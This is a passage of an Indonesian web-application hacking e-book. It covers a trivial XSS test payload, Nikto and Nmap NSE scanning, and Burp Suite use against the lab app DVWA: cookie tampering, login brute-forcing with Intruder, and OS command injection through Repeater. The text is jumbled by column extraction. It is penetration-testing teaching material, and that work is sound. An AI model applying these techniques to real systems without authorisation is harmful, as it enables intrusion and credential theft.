  40. 40. Sebagai contoh kita mempergunakan tag html <h1>, seperti Celah XSS reflected dan persistent ini tidak memiliki impactcontoh berikut pada halaman yang memiliki celah XSS persis- sama sekali ke server. Celah ini akan menjadi sangat berba-tent haya ke user apabila dikombinasikan dengan celah pada aplikasi client seperti web browser, mail client dsb yang dapatExploit/XSS payload : <h1>XSS</h1> memproses XSS payload (tag html/javascript) secara otomatis. Untuk eksploitasi XSS yang lebih berbahaya dapat merujuk ke bab 1 bagian Attack Vector Cross Site Scripting (XSS).XSS payload tersebut akan tersimpan dan di proses olehaplikasi setiap kali diakses user. 39
  41. 41. Web Hacking Tools3 Pada BAB ini akan dibahas mengenai beberapa perangkat yang dapat dipergunakan untuk membantu dan juga sudah umum di pergunakan dalam proses Web Application Hacking. Ahmad Muammar, OSCP (C) 2013
  42. 42. Section 1Web Application 1. NiktoSecurity Tools Nikto adalah aplikasi opensource web server scanner, yang bekerja dengan cara membandingkan web server dengan ban- yak item di database, termasuk diantaranya adalah 6500 file/cgi yang memiliki kemungkinan celah keamanan, lebih dari 1250 versi server yang sudah out-of-date, dan sebanyak 270 masa-Daftar Isi lah spesifik berdasarkan versi dari suatu webserver. Nikto juga memeriksa file konfigurasi, seperti keberadaan multi-1. Nikto ple index files, opsi pada server HTTP, dan juga akan men-2. Nmap NSE gidentifikasi versi web server dan aplikasi yang terinstall. Nikto dibuat dan bekerja tidak secara tersembunyi, sehingga akan3. BurpSuite (next) mudah terdeteksi oleh perangkat keamanan jaringan (di log),4. SQLMap(next) meskipun begitu, nikto dilengkapi dengan metode anti-IDS. Untuk menggunakan nikto, anda perlu menginstall Perl dan li- brary perl yang dibutuhkan, karena nikto menggunakan perl se- bagai bahasa pemrograman. Nikto sendiri dapat di download gratis dari situsnya di http://cirt.net/nikto2. Untuk mengakses mengenai informasi lengkap penggunaan- nya, dapat diakses dengan #perl nikto.pl -H 41
  43. 43. Sebagai contoh berikut ini adalah saat kita melakukan proses Seperti sudah di singgung diatas, nikto bekerja dengan mem-scanning web server dengan alamat ip 192.168.1.210 bandingkan hasil scanning dengan database-nya, sehingga proses scanning akan berlangsung cepat, tetapi hal ini juga menjadi kelemahannya, karena beberapa direktori yang tidak terdapat pada dictionary/database-nya tidak akan dideteksi. Untuk mempergunakan nikto terhadap aplikasi/direktori yang tidak standar maka kita bisa menggunakan link full-path ke di- rektori tersebut, sebagai contoh ke aplikasi milik omega-bank, yang berada di http://192.168.1.210/omega-bank/Beberapa informasi yang bisa diperoleh dari hasil scanning kitaadalah diantaranya :1. Versi webserver yang outdated2. Versi PHP yang outdated3. HTTP Method yang aktif: GET, HEAD, POST, TRACE dan method TRACE memiliki celah keamanan.4. Terdapat aplikasi phpmyadmin yang terletak di http://192.168.1.210/phpmyadmin/5. Terdapat directory /icons/ dan default file README. 42
  44. 44. gunakan perintah #perl nikto.pl -h aplikasi dvwa, untuk dapat mengeksploitasi celah-celah yanghttp://192.168.1.210/omega-bank/ dan akan didapatkan hasil ada kita harus melakukan login atau memiliki cookie untuk da-sebagai berikut: pat berinteraksi dengan aplikasi. Sebagai contoh adalah scanning langsung webserver dengan alamat ip 192.168.1.207dan kita mendapatkan hasil yang lebih banyak lagi dan bisa kita Kita dapat melakukan setting cookie pada file nikto.conf, untukcobakan, tetapi yang perlu diingat adalah bahwa penggunaan mendapatkan cookie kita bisa mempergunakan nikto dengantools untuk melakukan scanning akan memunculkan kemungki- opsi menambahkan “-Display 2”, untuk mendapatkan cookiesnan adanya celah keamanan yang false positive. dan proses scanning dilakukan dengan mempergunkan cookies dan perhatikan perbedaannya sebagai berikut:Kustomisasi Nikto #perl nikto.pl 192.168.1.207 -Display 2Selain beberapa hal diatas, nikto juga dapat dikustomisasi un-tuk dapat bekerja secara maksimal, dalam hal ini melakukanscanning aplikasi yang mempergunakan cookie, seperti pada 43
  45. 45. Dan kita dapatkan hasil yang lebih banyak dibandingkan tidakmempergunakan cookies.Atau kita dapat mempergunakan fitur inspect-element yang su-dah terdapat di browser dan melihat cookit yang dipergunakanseperti berikut ini: Selanjutnya kita bisa set cookie tersebut, sehingga akan selalu di gunakan jika kita akan melakukan scanning terhadap web server dengan alamat tersebut, tetapi yang perlu di ingat, hal ini akan berlaku static, dan secara manual juga kita harus menghapusnya. 44
  46. 46. Tambahkan konfigurasi terkait cookies yang kita dapatkan kefile nikto.conf kedalam variable static-cookie seeperti pada gam-bar berikut ini:Selanjutnya setelah disimpan kita bisa melakukan scanningkembali dengan cookie yang sudah ada. 45
  47. 47. meriksaan kemungkinan direktori yang tersedia seperti gambar2. Nmap NSE berikut ini.Nmap dengan dukungan NMAP scripting engine memberikanbeberapa NSE yang berfungsi untuk melakukan vulnerabilityscanning terhadap webserver. Untuk nama dan letak NSE da-pat di lihat di /usr/local/share/nmap/scripts/Salah satu yang umum di pergunakan dan cukup bermanfaatadalah NSE http-enum yang akan secara cepat melakukan pe- 46
  48. 48. Burp Suite4 Pada BAB ini akan dibahas mengenai perangkat Burp Suite yaitu salah satu perangkat untuk melakukan web penetration testing. Ahmad Muammar, OSCP (C) 2013
  49. 49. Section 1Burp Suite 1. Burp Suite Burp Suite adalah salah satu perangkat keamanan gratis yang sangat berguna dalam melakukan kegiatan web application se- curity atau untuk kegiatan penetration testing. Burp yang pada awalnya hanya merupakan aplikasi proxy server untuk melaku- kan intercept baik terhadap http-request ataupun http-responseDaftar Isi ke server dan web aplikasi. Sampai versi terakhir 1.5 yang dapat diunduh di1. Burp Suite http://portswigger.net/burp/download.html, burp yang dina-! 1.1 Proxy makan suite juga berisikan tools-tools lain yang bermanfaat un- tuk kegiatan Web application security dan penetration testing.! 1.2 Spider Burp Suite yang dikembangkan dnegan bahasa pemrograman! 1.3 Intruder JAVA ini memiliki tools seperti proxy, spider, intruder, repeater,! 1.4 Repeater sequencer, decoder, comparer untuk versi gratisnya. Serta Per- angkat untuk melakukan scanning vulnerabilities terhadap web! 1.5 Sequencer aplikasi dengan perangkat scanner pada versi Professionalnya.! 1.6 Decoder Dan berikut akan kita bahas secara singkat perangkat- perangkat yang terdapat pada Burp Suite, tetapi sebelum itu! 1.7 Comparer berikut adalah beberapa hal yang perlu dikonfigurasikan pada! 1.8 Scanner Burp Suite dan pada browser agar berjalan sempurna.! 1.9 Extender 48
  50. 50. Secara default maka proxy listener akan berjalan di 127.0.0.1:8080, dan alamat ini yang perlu kita set pada browser yang akan kita pergunakan pada aktifitas web penetration test- ing nantinya. Gambar Aplikasi Burp Suite versi gratisUntuk memastikan Burp Suite bekerja, pastikan bahwa proxy Gambar Tab konfigurasi Proxylisteners dari burp berjalan sempurna maka periksa pada TabProxy dan tab Options, perhatikan pada bagian proxy-listeners Kemudian kita perlu untuk mengkonfigurasikan browser yanguntuk di-cek dan running, begitu pula bagian Intercept Client Re- akan kita pergunakan, dan untuke mempermudah dalam mela-quest, dan pada beberapa kasus jika diperlukan juga melaku- kukan switch proxy, apabila kita menggunakan lebih dari 1kan intercept Server Responses. proxy nantinya, maka untuk browser firefox atau chrome ada 49
  51. 51. add-os/extensions FoxyProxy yang dapat dipergunakan. Danberikut ini adalah gambar untuk mengkonfigurasikan Burpproxy yang akan kita pergunakan nantinya. Gambar Memilih Burp sebagai Proxy Dan selanjutnya apabila kita mengakses suatu web maka akan di inter- cept oleh burp, dan kita dapat memodifikasinya sebelum meneruskan request tersebut ke web server dengan meng-click tombol Forward, seperti gambar berikut ini, Gambar Aplikasi Konfigurasi FoxyProxySehingga, untuk mempergunakannya kita tinggal memilih kon-figruasi untuk Burp proxy pada icon foxyproxy di firefox, sepertipada gambar berikut ini: Gambar saat kita mengakses web DVWA dan langsung di intercept burp 50
  52. 52. 1.1 Proxy Perangkat utama dari Burp suite yang awalnya dikenal dengan Burp Proxy adalah aplikasi proxy server yang dapat kita konfigu- rasikan untuk melakukan intercept terhadap seluruh transaksi web. Seperti pada penjelasan sebelumnya maka kali ini kita akan mempergunakan aplikasi web DVWA (Damn Vulnerable Web Application) sebagai aplikasi yang akan kita test. Sebagaimana kita ketahui bahwa aplikasi DVWA memiliki be- berapa level yaitu low, medium dan high dan untuk merubah level tersebut kita harus login terlebih dahulu kemudian mengak- ses halaman security.php, jika tidak maka secara default level security dari aplikasi adalah “high”. Dengan memanfaatkan penggunaan burp maka kita akan mela-Gambar setelah kita meneruskan request dengan meng-click Forward button kukan modifikasi security level dari aplikasi yang ternyata di set lewat Cookie oleh aplikasi, sehingga security level milik kita akan langsung ter-set dengan level low. Adapun yang kita laku- kan adalah dengan melakukan intercept seperti gambar diba- wah ini 51
  53. 53. Gambar Request ke web dvwa, dan terlihat aplikasi men-set level security ke high Gambar Memodifikasi CookieSebelum kita mem-Forward request tersebut, maka kita dapatmemodifikasi security level dari aplikasi, sehingga saat kita Dan seterusnya setiap request, kita harus memodifikasi stinglogin level security kita adalah low, seperti gambar berikut security menjadi low pada tiap request, sehingga saat kita login ke web aplikasi, level security yang kita punyai adalah low, seperti gambar berikut 52
  54. 54. 1.2 Spider Perangkat kedua dari Burp Suite adalah “Spider”, perangkat ini berfungsi sebagai crawler yang akan secara aktif dan pasif me- lakukan crawling terhadap web aplikasi untuk mendapatkan data halaman web, direktori, bahkan melakukan submit form dan mendapatkan variabel. Spider dapat di konfigurasikan untuk mempergunakan scope yang terdefinisi terlebih dahulu, dengan tujuan fokus terhadap target, untuk menentukan scope, perlu didefinisikan pada Tab Taget seperti pad agambar berikut:Gambar saat login, sudah otomatis dengan security level: low Gambar Scope yang didefinisikan 53
  55. 55. Untuk mulai melakukan kegiatan crawling web aplikasi, maka 1.3 Intruderlakukan klik-kanan dan pilih opsi “Spider this host” seperti padagambar dibawah ini: Perangkat yang ketiga dari kumpulan Suite pada Burp adalah Intruder. Intruder ini adalah perangkat yang yang bermanfaat untuk melakukan otomatisasi kegiatan yang ditemukan pada saat melakukan kegiatan penetration testing. Salah satu kegi- atan yang dapat dilakukan dengan memanfaatkan intruder ada- lah untuk melakukan HTTP based brute-forcing Gambar melakukan Spider terhadap URL tertentu.Dan kemudian akan terlihat bahwa spider berjalan, seiring berjalanya aktifitas crawl- Gambar Tab Intrudering, maka nantinya pada Target akan bertambah pula direktori dan file yang terdapatpada list URL tersebut. Selanjutnya kita akan coba melakukan bruteforce terhadap web login pada aplikasi DVWA. Salah satu kelebihan dari aplikasi bruteforce ini adalah kita tidak perlu mengkonfigurasikan be- berapa hal yang umumnya kita konfigurasikan pada aplikasi bru- 54
  56. 56. teforce lainnya, semisal thc-hydra yaitu HTTP Method yang Kemudian mengirimkannya ke Intruder, dengan melakukan klikdipergunakan, kemudian error response dsb-nya. kanan pada seluruh request tersebut, seperti gambar berikut ini:Yang perlu kita lakukan adalah mendapatkan 1 request lengkapsaat proses login terjadi, sebagai contoh mempergunakan user-name dan password sembarang, kemudian melakukan inter-cept pada proses tersebut seperti gambar berikut ini: Gambar pengiriman request login untuk bruteforce ke Intruder Selanjutnya adalah mengkonfigurasikan intruder untuk melaku- kan bruteforce terhadap halaman login tersebut memanfaatkan Gambar request login ke aplikasi DVWA full request yang sudah kita tandai. Sebelum itu pastikan host dan port serta protokol yang dipergunakan sudah benar (den- gan SSL (https) atau tidak), seperti pada gambar berikut ini. 55
  57. 57. Gambar pengiriman request login untuk bruteforce ke Intruder Gambar Posisi Payload dari full request yang kita kirim ke intruderKemudian, kita akan mulai mengkonfigurasikan Intruder untuk Terdapat 5 Payload dengan 5 posisi pada request asli yang kitaproses bruteforce. Hal selanjutnya yang harus kita lakukan ada- kirimkan, selanjutnya untuk menandai payload yang mana sajalah menandai payload, payload inilah nantinya yang akan dimo- serta posisinya untuk kita bruteforce, maka yang perlu kita laku-difikasi oleh intruder saat melakukan request. kan pertama adalah menghilangkan seluruh tanda lalu kemu- dian menandainya, hal ini dapat dilakukan dengan menggu-Terdapat beberapa tipe attack yang didukung oleh intruder dan nakan clear button.hal ini sangat terkait dengan payload yang akan kita tandai dandiberi posisi, seperti pada gambar berikut ini: Sehingga, seluruh payload belum tertandai seperti pada gam- bar berikut, 56
  58. 58. Gambar menandai payload dan posisinya Gambar Setelah kita melakukan clear payload positions Selanjutnya adalah menentukan tipe attack untuk payload, di-Selanjutnya, karena kita hanya ingin melakukan bruteforce ter- mana yang tersedia adalah sniper, battering ram, pitchfork danhadap username dan password, maka kita hanya perlu menan- clusterbomb, ada baiknya membaca help untuk tiap-tiap attackdai payload 1 yaitu username yang dalam hal ini admin dan type payload positions sesuai dengan kebutuhan anda, tetapipayload 2 yaitu palsu sebagai password. Hal ini dapat kita laku- secara sederhana sniper dan battering ram hanya mendukungkan dengan mempergunakan Add button seperti pada gambar single set payload dan sudah pasti tidak dapat kita pergunakanberikut ini: karena payload yang kita butuhkan lebih dari satu payload. Hanya tersisa tipe attack pitchfork dan ClusterBomb, dan tipe attack yang terakhir memungkinkan seluruh kombinasi dari pay- 57
  59. 59. load di ujicobakan, sehingga kita akan memilih clusterbomb se-bagai tipe attack untuk payload positions seperti pada gambarberikut, Gambar memilih Attack Type Gambar mengkonfigurasikan simple list sebagai payload 2Selanjutnya yang perlu kita lakukan adalah mengkonfigurasikan Seperti pada gambar diatas, kita mengkonfigurasikan payloadpayload, yang sampai proses ini kita membutuhkan 2 buah pay- dengan posisi nomer 2 yang nantinya akan menjadi passwordload, yaitu payload 1 untuk username dan payload 2 untuk pada proses bruteforce dengan intruder ini. Perlu diketahuipassword. bahwa pada versi free maka proses bruteforce akan memakan waktu lebih lama karena hanya bisa menggunakan 1 threads :).Dan untuk tipe payload, kita bisa memilih simple list dan me- Anda juga selanjutnya dapat mengkonfigurasikan proses brute-masukkan secara manual list tersebut satu-persatu dikare- force pada bagian Options.nakan hanya versi pro yang mengijinkan untuk kita melakukanpenambahan dari list yang sudah ada seperti file kamus kata. 58
  60. 60. Untuk memulai melakukan bruteforce maka kita cukup memilih kan content-length, dan hal ini akan lebih mudah jika passwordmenu intruder dan memilih start attack seperti pada gambar yang salah menghasilkan halaman yang sama (length sama),berikut, sedangkan apabila password yang salah menghasilkan content-length yang berbeda (dalam hal ini menampilkan user- name kembali saat gagal login) maka anda perlu mengkonfigu- rasikan intruder (tab options) untuk mempermudah menemukan password yang benar. Gambar memulai proses bruteforceSalah satu hal yang menarik adalah menentukan password Untuk DVWA ini kita berhasil melakukan bruteforce dengan in-yang benar, dikarenakan intruder ini memang kegunaannya un- truder dan mendapatkan username admin dan password seba-tuk melakukan automatisasi request dengan modifikasi, maka gai password, salah satu kelebihan lainnya kita tidak perluuntuk menentukan mana password yang benar dan salah salah mengkonfigurasikan cookie (seperti jika kita mempergunakansatu yang bisa kita pergunakan adalah dengan membanding- 59
  61. 61. hydra saat membruteforce login aplikasi dvwa) atau variablelainnya yang diperlukan untuk login.1.4 RepeaterPerangkat selanjutnya adalah Repeater, yang merupakan per-angkat sederhana untuk secara manual melakukan modifikasi(manipulasi) dan menjalankan single HTTP requests dan se-cara langsung mendapatkan response dari aplikasi.Untuk memanfaatkan repeater, sebagaimana penggunaan per-angkat lainnya, kita cuma perlu melakukan klik kanan dan men-girim request (Single) ke repeater, untuk kemudian dimodifikasidan di kirimkan secara tersendiri.Untuk celah keamanan yang memungkinkan kita melakukaneksploitasi terkait hal ini adalah celah OS Command Injection,dan celah ini terdapat pada aplikasi DVWA, seperti pad a gam- Gambar request yang akan kita manipulasi secara terpisah dengan repeaterbar berikut ini: Dan celah keamana yang akan kita eksploitasi adalah pada ha- laman /vulnerabilities/exec/index.php pada variable ip seperti pada gambar berikut ini, 60
  62. 62. Gambar eksploitasi celah keamanan OS Command Injection dengan repeater Gambar proses eksploitasi celah keamanan os command injection dnegan repeaterSelanjutnya adalah kita tinggal menggonta-ganti request yangada khususnya pada variable ip, dan hal ini akan mempermu-dah dan memberi banyak keleluasaan bagi kita dalam prosespenetration testing, dibandingkan mempergunakan browser un-tuk tiap request. 61
  63. 63. 1.5 SequencerPerangkat ke-5 adalah sequencer, perangkat ini bermanfaat un-tuk melakukan proses analisa kualitas tingkat kerandoman daribeberapa sample data, sebagai contoh memeriksa session to-kens dari suatu aplikasi dsb. Sebagai contoh kita akan memeri-kas cookies dari aplikasi DVWA ini Gambar pemilihan lokasi token pada response yang akan dianalisa. Kemudian kita tinggal menjalankan Sequencer dengan menggu- nakan button Start Live Capture, kemudian akan tampil hala- man hasil analisa yang menunjukkan bahwa hasil tingkat keran- doman untuk token tersebut adalah excellent, seperti pada gam- bar berikut, Gambar pengiriman request ke sequencerKemudian, token yang akan kita analisa adalah PHPSESSIDseperti pad agambar berikut ini, 62
  64. 64. 1.6 Decoder Perangkat selanjutnya adalah Decoder, perangkat ini sangat bermanfaat untuk melakukan decode terhadap berbagai jenis encode yang umum dipergunakan seperti URL, HTML, Base64, ASCII hex, Hex, Octal, Binary, dan GZIP serta juga mendukung encoding dengan tipe-tipe diatas juga. Selain itu perangkat decoder ini juga memiliki dukungan untuk melakukan Hashing dengan dukungan beberapa algoritma hash yang sudah umum, seperti: md5, md3, SHA, SHA -256, SHA-384, SHA-512Gambar hasil analisa tingkat kerandoman dari token yang dipilih Gambar Penggunaan Decoder 63
  65. 65. 1.7 Comparer dengan security level high pada aplikasi DVWA, seperti pada gambar berikut,Burp comparer adalah perangkat yang berfungsi untuk melaku-kan perbandingan, seperti aplikasi diff pada unix, tetapi dalamhal ini yang dibandingkan adalah antara HTTP request atauantara HTTP Response. Untuk mengirim ke comparer dapatmelakukan click kanan item yang akan di compare kemudiandipilih request atau response-nya seperti pada gambar berikut Gambar melakukan compare 2 buah request Dari hasil perbandingan diatas kita mengetahui dan dapat mela- kukan modifikasi cookie untuk membuat security level kita low tanpa perlu melakukan set security pada aplikasi DVWA, seperti yang kita lakukan sebelumnya pada bagian proxy. Gambar Mengirimkan item ke ComparerSebagai contoh pemanfaatan Comparer adalah kita melakukanperbandingan antara login dengan security level low dan login 64
  66. 66. 1.8 Scanner & 1.9 Extender (Pro-Only)Perangkat selanjutnya yang terdapat pada Burp suite adalahBurp Scanner dan Burp Extender. Kedua perangkat ini hanyatersedia pada Burp dengan versi Pro, dan tidak akan di bahassecara mendetail pada e-book ini.Sedang untuk penggunaan Scanner kita tinggal melakukan klik-kanan dan memilih mode aktif atau pasif, tetapi sebaiknya kitamendefinisikan Scope terlebih dahulu serta melakukan crawl-ing web aplikasi dengan Spider. Gambar hasil penggunaan Burp Scanner untuk aplikasi dvwa Dari hasil ujicoba tingkat keberhasilan burp dalam mendeteksi celah keamanan relatif cukup baik, burp juga meminimalisir ha- sil false positive, selain itu metode scanning yang dilakukan Gambar Penggunaan Scanner burp juga memberikan tingkat lebih dalah berhadapan denganDan hasil dari penggunaan Burp Scanner akan terdapat pada perangkat keamanan web seperti IDS, IPS dan Web Applica-tab scanner, seperti contoh berikut ini adalah melakukan scan- tion Firewall.ning terhadap aplikasi dvwa. 65
  67. 67. Gambar validasi salah satu celah keamanan yang ditemukan Burp ScannerBurp Extender adalah salah satu fitur yang memungkinkanpengguna dan pengembang untuk mengembangkan penggu-naan dan fungsi dari Burp Suite, sebagai contoh adalah salahsatu extender sqlmap untuk Burp Suite yang di buat dan dikem-bangkan oleh Daniel Garcia Gambar SQLMap Extender untuk Burp Suite 66

×